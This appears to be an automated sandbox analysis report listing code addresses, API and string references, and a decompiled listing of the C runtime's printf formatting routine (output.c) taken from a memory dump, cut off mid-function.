0x004344a8
0x0043454d
0x00434553
0x00434560
0x00000000
0x00000000
0x00434566
0x0043456c
0x00000000
0x00434573
0x00434573
0x0043458b
0x00434590
0x00434593
0x00434595
0x0043464f
0x00434662
0x00434667
0x00000000
0x0043459b
0x004345ae
0x004345b3
0x004345b9
0x004345bb
0x004345c4
0x004345c4
0x004345c7
0x004345d3
0x004345d7
0x004345dd
0x004345df
0x004345e4
0x004345e6
0x004345eb
0x004345f0
0x004345f2
0x004345f7
0x004345fa
0x004345fd
0x004345ff
0x004345ff
0x004345fd
0x00434600
0x00434600
0x00434607
0x00000000
0x00434609
0x0043460e
0x0043462a
0x00434632
0x0043463f
0x00434644
0x00000000
0x00434644
0x00434607
0x00000000
0x0043466f
0x0043466f
0x00434676
0x00434679
0x0043467c
0x0043467f
0x00434682
0x00434685
0x00434688
0x0043468f
0x00434696
0x00000000
0x00000000
0x004346a2
0x004346a2
0x004346a9
0x004346b5
0x004346b8
0x004346be
0x004346c5
0x00000000
0x00000000
0x004346c7
0x004346c7
0x004346cd
0x004346cd
0x004346d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434717
0x00434717
0x0043471e
0x00434721
0x0043474b
0x0043474e
0x0043474e
0x00434751
0x00434758
0x00434758
0x0043475c
0x00434723
0x00434723
0x0043472f
0x00434732
0x00434736
0x00434738
0x0043473b
0x0043473b
0x0043473e
0x00434744
0x00434746
0x00434746
0x00434749
0x00000000
0x00000000
0x00434764
0x00434764
0x00000000
0x00000000
0x00434770
0x00434770
0x00434777
0x0043477a
0x0043479a
0x0043479d
0x0043479d
0x004347a7
0x004347a7
0x004347ab
0x0043477c
0x0043477c
0x00434788
0x0043478b
0x0043478f
0x00434791
0x00434791
0x00434798
0x00000000
0x00000000
0x004347b3
0x004347b3
0x004347ba
0x004347c6
0x004347c9
0x004347cf
0x004347d6
0x004348e9
0x00000000
0x004348e9
0x004347dc
0x004347dc
0x004347e2
0x004347e2
0x004347e9
0x00000000
0x0043481f
0x0043481f
0x00434822
0x00434825
0x00434828
0x00434850
0x00434850
0x00434853
0x00434856
0x00434859
0x0043487e
0x0043487e
0x00434881
0x00434884
0x00434887
0x004348c0
0x004348d1
0x00000000
0x004348d1
0x00434889
0x00434889
0x0043488c
0x0043488f
0x00434892
0x00000000
0x00000000
0x00434894
0x00434894
0x00434897
0x0043489a
0x0043489d
0x00000000
0x00000000
0x0043489f
0x0043489f
0x004348a2
0x004348a5
0x004348a8
0x00000000
0x00000000
0x004348aa
0x004348aa
0x004348ad
0x004348b0
0x004348b3
0x00000000
0x00000000
0x004348b5
0x004348b5
0x004348b8
0x004348bb
0x004348be
0x004348c2
0x00000000
0x004348c2
0x00000000
0x004348be
0x0043485b
0x0043485b
0x0043485e
0x00434862
0x00434865
0x00000000
0x00434867
0x0043486a
0x0043486d
0x00434870
0x00434873
0x00434879
0x00000000
0x00434879
0x00434865
0x0043482a
0x0043482a
0x0043482d
0x00434831
0x00434834
0x00000000
0x00434836
0x00434839
0x0043483c
0x0043483f
0x00434842
0x00434848
0x00000000
0x00434848
0x00000000
0x004348d3
0x004348d6
0x004348d9
0x00000000
0x00000000
0x004347f0
0x004347f0
0x004347f3
0x004347f6
0x004347f9
0x00434811
0x00434814
0x00434814
0x00434817
0x004347fb
0x004347fe
0x00434801
0x00434807
0x0043480c
0x0043480c
0x00000000
0x00000000
0x004348de
0x004348de
0x004348e1
0x004348e1
0x004348e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004348ee
0x004348ee
0x004348f5
0x00434901
0x00434904
0x0043490a
0x00434911
0x00000000
0x00435132
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x004350ec
0x004350ef
0x004350f2
0x004350f5
0x004350f8
0x004350fb
0x00435101
0x00435101
0x00435101
0x00435109
0x0043510d
0x00000000
0x00000000
0x0043510f
0x0043510f
0x00435112
0x00435115
0x00435115
0x0043511a
0x0043511d
0x00435120
0x00435123
0x00435126
0x00435129
0x0043512c
0x0043512c
0x0043512f
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00434917
0x0043491d
0x0043491d
0x00434924
0x00000000
0x00434c7e
0x00434c7e
0x00434c85
0x00434c8c
0x00434c8c
0x00434c8f
0x00000000
0x00000000
0x0043492b
0x0043492e
0x0043492e
0x00434934
0x00434936
0x00434939
0x00434939
0x0043493e
0x0043493e
0x00000000
0x00000000
0x00434a6b
0x00434a6e
0x00434a6e
0x00434a73
0x00434a75
0x00434a78
0x00434a78
0x00434a7e
0x00434a7e
0x00000000
0x00000000
0x00434e4b
0x00434e4b
0x00000000
0x00000000
0x004349d5
0x004349d5
0x004349e1
0x004349e7
0x004349ee
0x004349fc
0x004349fc
0x00434a02
0x00434a05
0x00434a11
0x00434a66
0x00000000
0x00434a66
0x004349f0
0x004349f0
0x004349f6
0x004349fa
0x00434a16
0x00434a19
0x00434a19
0x00434a1f
0x00434a47
0x00434a4e
0x00434a54
0x00434a57
0x00434a5a
0x00434a60
0x00434a63
0x00434a21
0x00434a21
0x00434a27
0x00434a2a
0x00434a2d
0x00434a33
0x00434a36
0x00434a39
0x00434a3b
0x00434a3e
0x00434a3e
0x00000000
0x00434a1f
0x00000000
0x00000000
0x00434c95
0x00434c98
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca7
0x00434cae
0x00434cb2
0x00434cbd
0x00434cbd
0x00434cc1
0x00434cd8
0x00434cd8
0x00434cdf
0x00434ce1
0x00434ce1
0x00434ce8
0x00434ce8
0x00434cef
0x00434d00
0x00434d0f
0x00434d12
0x00434d16
0x00434d2c
0x00434d18
0x00434d18
0x00434d1b
0x00434d21
0x00434d27
0x00434d27
0x00434d16
0x00434d36
0x00434d39
0x00434d3c
0x00434d3f
0x00434d42
0x00434d45
0x00434d4b
0x00434d51
0x00434d59
0x00434d5a
0x00434d5d
0x00434d5e
0x00434d61
0x00434d62
0x00434d69
0x00434d6a
0x00434d6d
0x00434d6e
0x00434d71
0x00434d72
0x00434d78
0x00434d79
0x00434d87
0x00434d89
0x00434d8f
0x00434d8f
0x00434d95
0x00434d97
0x00434d9b
0x00434d9d
0x00434da5
0x00434da6
0x00434da9
0x00434daa
0x00434db8
0x00434dba
0x00434dba
0x00434d9b
0x00434dbd
0x00434dc4
0x00434dc7
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd4
0x00434ddc
0x00434ddd
0x00434de0
0x00434de1
0x00434df0
0x00434df2
0x00434df2
0x00434dd2
0x00434df5
0x00434df8
0x00434dfb
0x00434dfe
0x00434e03
0x00434e09
0x00434e0c
0x00434e0f
0x00434e0f
0x00434e12
0x00434e12
0x00434e15
0x00434e21
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00435132
0x00434cc3
0x00434cc3
0x00434cca
0x00434ccd
0x00000000
0x00000000
0x00434ccf
0x00434ccf
0x00000000
0x00434ccf
0x00434cb4
0x00434cb4
0x00000000
0x00000000
0x00434941
0x00434944
0x00434944
0x0043494a
0x004349a5
0x004349ad
0x004349b4
0x004349ba
0x004349c0
0x0043494c
0x0043494c
0x00434956
0x0043495a
0x00434962
0x00434969
0x00434976
0x0043497d
0x00434989
0x0043498f
0x00434996
0x00434998
0x00434998
0x0043499f
0x004349c7
0x004349cd
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00434e29
0x00434e2c
0x00434e2f
0x00434e32
0x00000000
0x00000000
0x00000000
0x00000000
0x00434e8c
0x00434e8c
0x00434e96
0x00434e96
0x00434e9c
0x00434e9e
0x00434ea1
0x00434ea1
0x00434ea7
0x00434ea7
0x00000000
0x00000000
0x00434e44
0x00434e44
0x00000000
0x00000000
0x00434a81
0x00434a81
0x00434a85
0x00434a93
0x00434a96
0x00434a87
0x00434a87
0x00434a87
0x00434a9c
0x00434aa2
0x00434aa8
0x00434ab4
0x00434aba
0x00434aba
0x00434ac0
0x00434b27
0x00434b27
0x00434b2b
0x00434b2d
0x00434b33
0x00434b33
0x00434b36
0x00434b39
0x00434b3f
0x00434b3f
0x00434b3f
0x00434b4b
0x00434b4e
0x00434b54
0x00434b56
0x00000000
0x00000000
0x00434b58
0x00434b58
0x00434b5e
0x00434b61
0x00434b63
0x00000000
0x00000000
0x00434b65
0x00434b6b
0x00434b6e
0x00434b6e
0x00434b76
0x00434b76
0x00434b7c
0x00434b7c
0x00434b7f
0x00000000
0x00434ac2
0x00434ac2
0x00434ac2
0x00434ac6
0x00434ac8
0x00434acd
0x00434acd
0x00434ad0
0x00434ad7
0x00434ada
0x00434ae0
0x00434ae0
0x00434ae0
0x00434aec
0x00434aef
0x00434af5
0x00434af7
0x00000000
0x00000000
0x00434af9
0x00434af9
0x00434aff
0x00434b02
0x00434b04
0x00000000
0x00000000
0x00434b06
0x00434b0c
0x00434b0f
0x00434b0f
0x00434b17
0x00434b1d
0x00434b20
0x00434b22
0x00434b82
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00000000
0x00434e3b
0x00434e3b
0x00000000
0x00000000
0x00434e57
0x00434e57
0x00434e61
0x00434e61
0x00434e6b
0x00434e6b
0x00434e71
0x00434e73
0x00434e7d
0x00434e7d
0x00434e80
0x00434e83
0x00434e83
0x00434eaa
0x00434ead
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f66
0x00434f6a
0x00434f72
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4b
0x00434f4f
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f25
0x00434f31
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f09
0x00434f0d
0x00434f15
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434edc
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb4
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f83
0x00434f86
0x00434fc8
0x00434fc8
0x00434fce
0x00434fd4
0x00434fda
0x00000000
0x00434f88
0x00434f88
0x00434f88
0x00434f8f
0x00000000
0x00000000
0x00434f91
0x00434f91
0x00434f9c
0x00434fa2
0x00434fa4
0x00434faa
0x00434fad
0x00434faf
0x00434fb5
0x00434fbe
0x00434fc3
0x00434fe0
0x00434fe3
0x00434fe3
0x00434fe8
0x00434fed
0x00434fed
0x00434ff3
0x00434ff5
0x00434ffb
0x00435001
0x00435001
0x0043500a
0x0043500a
0x00434ff3
0x00435010
0x00435014
0x00435022
0x00435025
0x00435028
0x0043502f
0x00435031
0x00435031
0x00435016
0x00435016
0x00435016
0x0043503e
0x0043503e
0x00435044
0x00435046
0x00435046
0x0043504d
0x00435050
0x00435053
0x00435053
0x00435053
0x00435059
0x0043505c
0x0043505f
0x00435061
0x00000000
0x00000000
0x00435063
0x00435069
0x00435069
0x0043506f
0x00000000
0x00000000
0x00435071
0x00435071
0x00435074
0x00435077
0x0043507e
0x00435085
0x0043508d
0x00435093
0x00435096
0x00435099
0x004350a0
0x004350ac
0x004350b2
0x004350b8
0x004350bf
0x004350c1
0x004350c7
0x004350c7
0x004350cd
0x004350cd
0x004350d3
0x004350d6
0x004350dc
0x004350e1
0x004350e4
0x00435053
0x00435053
0x00435059
0x0043505c
0x0043505f
0x00435061
0x00000000
0x00000000
0x00000000
0x00435061
0x00435053
0x00434f93
0x00434f93
0x00434f9a
0x00000000
0x00000000
0x00000000
0x00434f9a
0x00000000
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00000000
0x004346f1
0x004346f4
0x004346f7
0x00000000
0x00000000
0x004346fc
0x004346ff
0x00434704
0x00000000
0x00000000
0x004346e6
0x004346e6
0x004346e9
0x004346ec
0x00000000
0x00000000
0x004346db
0x004346de
0x004346e1
0x00000000
0x00000000
0x00434709
0x00434709
0x0043470c
0x0043470c
0x0043470f
0x00000000
0x00000000
0x00434712
0x00000000
0x00000000
0x004344ae
0x004344b0
0x004344be
0x004344b2
0x004344b2
0x004344b2
0x004344c8
0x004344ce
0x004344db
0x004344dd
0x004344e2
0x004344e4
0x004344e9
0x004344ee
0x004344f0
0x004344f5
0x004344fb
0x004344fd
0x004344fd
0x004344fb
0x004344fe
0x00434505
0x00000000
0x00434507
0x0043450c
0x00434528
0x00434530
0x0043453d
0x00434542
0x00000000
0x00434542
0x00434505
0x004344a8
0x0043533d
0x00435344
0x0043535b
0x0043535b
0x00435365
0x00435365
0x0043536b
0x00435378
0x0043537a
0x0043537f
0x00435381
0x00435386
0x0043538b
0x0043538d
0x00435392
0x00435398
0x0043539a
0x0043539a
0x00435398
0x004353a2
0x004353ed
0x004353f6
0x004353fb
0x004353a4
0x004353a9
0x004353c5
0x004353cd
0x004353da
0x004353df
0x004353df
0x00000000
0x004353a2
0x00435346
0x0043534d
0x00000000
0x00000000
0x0043534f
0x0043534f
0x00000000
0x0043534f
0x00434bff
0x00434bff
0x00434c04
0x00434c20
0x00434c28
0x00434c32
0x00434c35
0x00434c3a
0x00435401
0x0043540e
0x0043540e
0x00434c4a
0x00434c50
0x00434c70
0x00434c52
0x00434c5f
0x00434c5f
0x00434c72
0x00000000
0x00434c72

APIs

_get_int_arg.LIBCMTD ref: 00434B8B
__get_printf_count_output.LIBCMTD ref: 00434B99
__invalid_parameter.LIBCMTD ref: 00434C20
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434C35
_write_multi_char.LIBCMTD ref: 004351AE
_write_string.LIBCMTD ref: 004351C9
_write_multi_char.LIBCMTD ref: 004351F5
_wctomb_s.LIBCMTD ref: 00435272

Strings

_output_s_l, xrefs: 0043451E, 00434C16
("'n' format specifier disabled", 0), xrefs: 00434BD5, 00434C1B
("Incorrect format specifier", 0), xrefs: 004344DD, 00434523
-, xrefs: 0043514E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004344E9, 00434519, 00434BE1, 00434C11

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: 44555dad7e7641110a76b78fc9c29f3d96ca3ff0d04ad03f6aaf8bf7d63379f3
Instruction ID: 4bb341aee57a263c90c5e4bc82834408e6a127876b473608bba3d74f72c80ecf
Opcode Fuzzy Hash: 44555dad7e7641110a76b78fc9c29f3d96ca3ff0d04ad03f6aaf8bf7d63379f3
Instruction Fuzzy Hash: 72A1BF70D016289BDF24DF54CC49BEEB7B0AB98304F2491DAE5197B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BF9A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BF9A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E00428200(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00433DB0() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E220();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E0043C990(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0043C9D0( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E0043C990(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E0043C9D0( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041ACF0(_t600 - 0x40);
									_t523 = E0043B430(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041ACF0(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E0043C930( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E0043C990(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041C3E0( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0043C824))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E0043C930( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x43c85c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C844))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43c884; // 0xc0919003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C870))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
